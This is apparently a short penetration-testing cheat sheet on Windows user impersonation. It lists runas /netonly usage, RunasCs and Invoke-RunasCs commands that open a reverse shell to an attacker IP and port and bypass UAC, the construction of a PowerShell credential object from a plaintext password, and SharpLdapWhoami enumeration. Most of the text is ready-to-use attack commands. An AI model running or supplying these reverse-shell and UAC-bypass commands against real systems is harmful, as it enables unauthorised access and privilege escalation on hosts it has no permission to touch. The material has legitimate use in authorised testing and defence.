Impersonation
runas /netonly /user:$DOMAIN\$USER "powershell.exe"#RunAs locally
RunasCs.exe $USERNAME $PASSWORD $Command -d $DOMAIN
#RunAs and spawn a revers shell and bypass UAC
RunasCs.exe $USERNAME $PASSWORD cmd.exe -d $DOMAIN -r $ATTACKING_IP:$PORT --bypass-uac#RunAs and spawn a revers shell
. .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username $USERNAME -Password $PASSWORD -Domain $DOMAIN -Command $CMD -Remote $ATTACKING_IP:$PORT# Credential object creation (prompted)
$credential = Get-Credential
# Credential object creation (not prompted)
$password = ConvertTo-SecureString 'pasword_of_user_to_run_as' -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential('FQDN.DOMAIN\user_to_run_as', $password)
# Usage
Start-Process Notepad.exe -Credential $credential.\SharpLdapWhoami.exe
.\SharpLdapWhoami.exe /method:kerberos /allLast updated